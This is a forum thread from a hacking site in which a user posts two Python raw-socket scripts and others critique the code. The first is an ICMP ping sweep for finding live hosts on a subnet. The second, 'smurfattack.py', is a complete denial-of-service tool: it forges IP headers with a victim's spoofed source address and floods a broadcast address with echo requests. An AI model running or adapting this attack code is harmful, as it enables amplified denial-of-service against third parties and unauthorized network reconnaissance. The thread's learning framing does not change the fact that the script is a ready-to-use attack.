EvilZone
Programming and Scripting => Scripting Languages => : RedBullAddicted January 15, 2013, 04:26:46 PM
-
Hi,
recently I decided to start a new project in python using only standard libraries. for now I am not really sure what the project is going to be but for sure (think you already knew) its going to be something network related. First thing I wanted to learn was how to use pythons sockets, especially the raw sockets, to send raw packets. For learning purposes I created the following script which sends icmp echo requests to a specified range of hosts and waits for an icmp echo reply. It can be used to find "alive" (online) hosts on a network. I know the function for calculating the number of hosts and the function to create a list of hosts could have been done better. But as I wanted to learn the usage of raw sockets I didn't care to much.
icmpscan.py
import sys, socket, select
#function to create raw ICMP echo request packet
def CreateICMPRequest():
packet = b''
packet += b'\x08' #ICMP Type:8 (icmp echo request)
packet += b'\x00' #Code 0 (no code)
packet += b'\xbd\xcb' #Checksum
packet += b'\x16\x4f' #Identifier (big endian representation)
packet += b'\x00\x01' #Sequence number (big endian representation)
packet += b'\x92\xde\xe2\x50\x00\x00\x00\x00\xe1\xe1\x0e\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37' #Data (56 bytes)
return packet
#function to return number of hosts in a given subnet
def NumberOfHosts(subnet):
if "." in subnet:
subnetlist = subnet.split(".")
for subnetpart in subnetlist:
subnetlist[subnetlist.index(subnetpart)] = bin(int(subnetpart)).replace("0b","")
cidr = str(subnetlist).count("1")
if (int(cidr) == 32) or (int(cidr) == 31):
hostsCount = 2**(32-int(cidr))
else:
hostsCount = 2**(32-int(cidr))-2
else:
if (int(subnet) == 32) or (int(subnet) == 31):
hostsCount = 2**(32-int(subnet))
else:
hostsCount = 2**(32-int(subnet))-2
return hostsCount
#function to generate a list with all hosts in the given subnet
def ListHosts(ip, hostsCount):
counter = 1
hosts = []
octs = ip.split('.')
if hostsCount == 1:
hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])))
elif hostsCount == 2:
hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])))
hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])+1))
else:
while (counter <= hostsCount):
if int(octs[3]) != 256:
octs[3] = int(octs[3])+1
if (int(octs[3]) == 256) and (int(octs[2]) != 255):
octs[2] = int(octs[2])+1
octs[3], hostpart = 0, 0
if (int(octs[2]) == 255) and (int(octs[1]) != 255):
octs[1] = int(octs[1])+1
octs[2], octs[3], hostpart = 0, 0, 0
if (int(octs[1]) == 255) and (int(octs[0]) != 255):
octs[0] = int(octs[0])+1
octs[1], octs[2], octs[3], hostpart = 0, 0, 0, 0
hosts.append('%i.%i.%i.%i' % (int(octs[0]),int(octs[1]),int(octs[2]),int(octs[3])))
counter = int(counter)+1
return hosts
#start sending icmp echo requests and list received icmp echo responds
def pingscan(values):
hostsCount = None
if ("-t" in values):
timeout = float(values[values.index('-t')+1])/float(1000)
values.pop(values.index('-t')+1)
values.pop(values.index('-t'))
else:
timeout = 0.01
if (len(values) == 3) and ("." in values[2]):
hostsCount = NumberOfHosts(values[2])
elif (len(values) == 2) and ("/" in values[1]):
CIDR = values[1][-3]+values[1][-2]+values[1][-1]
values = [values[1].replace(CIDR,""), CIDR.replace("/","")]
hostsCount = NumberOfHosts(values[1])
else:
help_pingscan()
sys.exit(0)
if hostsCount is not None:
print "Checking if %d hosts are alive via icmp with a timeout of %f sec" % (hostsCount, timeout)
#create list with all hosts in the given subnet
hosts = ListHosts(values[1], hostsCount)
#create socket to send and receive icmp packets
for host in hosts:
try:
icmpsocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
icmpsocket.bind(('', 1))
icmpsocket.setblocking(0)
except socket.error:
print "You need to be root!"
sys.exit(0)
#send icmp echo request to all hosts in the hosts list
icmpsocket.connect((host, 1))
icmpsocket.send(CreateICMPRequest())
#receive icmp echo reply packets
ready = select.select([icmpsocket], [], [], timeout)
if ready[0]:
try :
data = icmpsocket.recv(1024)
header = data[:20]
ip = header[-8:-4]
source = '%i.%i.%i.%i' % (ord(ip[0]), ord(ip[1]), ord(ip[2]), ord(ip[3]))
print '%s seems to be alive' % source
except KeyboardInterrupt :
print 'Keyboard Interrupt'
icmpsocket.close()
icmpsocket.close()
#icmp scan usage information
def help_pingscan():
print "Usage: icmpscan IP subnet (e.g. 10.10.10.0 255.255.255.0) or IP/CIDR (e.g. 10.10.10.0/24)"
print "-t: \t set timeout for receiving socket (default is 10ms)"
if __name__=="__main__":
values = sys.argv
pingscan(values)
Would be interesting to hear some thoughts from all you pro-python-devs :)
as this was pretty simple and done in no time I wanted to create something else using the raw ICMP packet. The next script performs a smurf attack. Funny name.. want to know what it is? http://en.wikipedia.org/wiki/Smurf_attack (http://en.wikipedia.org/wiki/Smurf_attack)
smurfattack.py
import sys, socket
def IPHeader(source, destination, proto):
packet = b''
packet += b'\x45' #Version (IPv4) + Internet Protocol header length
packet += b'\x00' #no quality of service
packet += b'\x00\x54' #Total frame length
packet += b'\x23\x2c' #Id of this packet
packet += b'\x40' #Flags (Don't Fragment)
packet += b'\x00' #Fragment offset: 0
packet += b'\x40' #Time to live: 64
packet += proto #Protocol: ICMP (1)
packet += b'\x0a\x0a' #Checksum (python does the work for us)
packet += socket.inet_aton(source) #Set source IP to the supplied one
packet += socket.inet_aton(destination) #Set destination IP to the supplied one
return packet
def CreateICMPRequest():
packet = b''
packet += b'\x08' #ICMP Type:8 (icmp echo request)
packet += b'\x00' #Code 0 (no code)
packet += b'\xbd\xcb' #Checksum
packet += b'\x16\x4f' #Identifier (big endian representation)
packet += b'\x00\x01' #Sequence number (big endian representation)
packet += b'\x92\xde\xe2\x50\x00\x00\x00\x00\xe1\xe1\x0e\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37' #Data (56 bytes)
return packet
def smurfattack(values):
try:
icmpsocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
icmpsocket.bind(('', 1))
icmpsocket.setblocking(0)
icmpsocket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
icmpsocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
except socket.error:
print "You need to be root!"
sys.exit(0)
#send icmp echo request to supplied destination address with spoofed source address
try:
icmpsocket.connect((values[2], 1))
counter = 1
print "sending %d icmp echo requests to %s with %s as source" % (int(values[3]), values[2], values[1])
try:
while (counter <= int(values[3])):
icmpsocket.send(str(IPHeader(values[1], values[2], proto = b'\x01')) + str(CreateICMPRequest()))
counter = int(counter)+1
except KeyboardInterrupt :
print 'Keyboard Interrupt'
icmpsocket.close()
icmpsocket.close
except IndexError:
help_smurfattack()
sys.exit(0)
def help_smurfattack():
print "Usage: smurfattack <source IP> <broadcast address> <number of requests> (e.g. 10.10.10.5 10.10.10.255 100)"
if __name__=="__main__":
values = sys.argv
smurfattack(values)
Hope this shows how to use raw sockets in python and I would be very happy if someone can give me some hints on what can be done better.
Btw. Windows and linux need administrator/root permissions for creating the raw icmp socket.
Thanks in advance!
Cheers,
RBA
-
Yep this is interesting stuff, I like working with raw sockets too.
With python this is awfully easy.
I agree with you on keeping the dependecies as few as possible, man those can be a pain when running someone elses code.
No too long ago I wrote a SYN scanner, some trashy code, might clean it up and post it here.
-
The surfattack.py looks good, since most all of it is procedural so nothing really to improve.
The icmpscan is where I am going to give input on. First, there is too many if/elis/else in there. They can be avoided if you constrain the user input. You can check the switches/flags users input with sys.argv
I am speaking mostly with how they give the ip and subnet. Make them separate regardless of cider or full mask. That would reduce the checking of what they put in with a few lines of code.
I did look over the code, and I could re-write it in my own image, but I only did one piece of it to show how I would have done it.
def NumberOfHosts(subnet):
if '.' in subnet:
lsub = subnet.split('.')
hostCount = 0
for octet in lsub:
if octet != '255':
#since we only care how many 0's are in the subnet
# we can use the built-in count()
hostCount += list(bin(int(octet))[2:]).count('0')
return 2**hostCount
#the rest looked fine
x = NumberOfHosts('255.255.255.224')
print x
If sys.argv was used to begin with, the function would take the second element anyway so further checks of validity would not be needed.
Hope I helped. Great work btw, keep it up. ;D
-
Hi,
@techb: that's exactly the kind of information I hoped to receive :) Many thanks for that. I am not sure if I understand everything but I will try to re-do the icmp scan with your suggestions and update the post the next days. Again, thanks for the information.
@proxx: I did a tcp syn scanner and a tcp connect scanner, too. The code is pretty messy at the moment (more out-commented lines as everything else). Would love to see how you did it. Did you use a raw socket or a tcp socket for that task. For the TCP connect scanner I used the tcp socket because (tbh) I had/have problems with all that calculation parts (e.g. sequence numbers, checksum ..)
Cheers,
RBA
-
Nice dude :)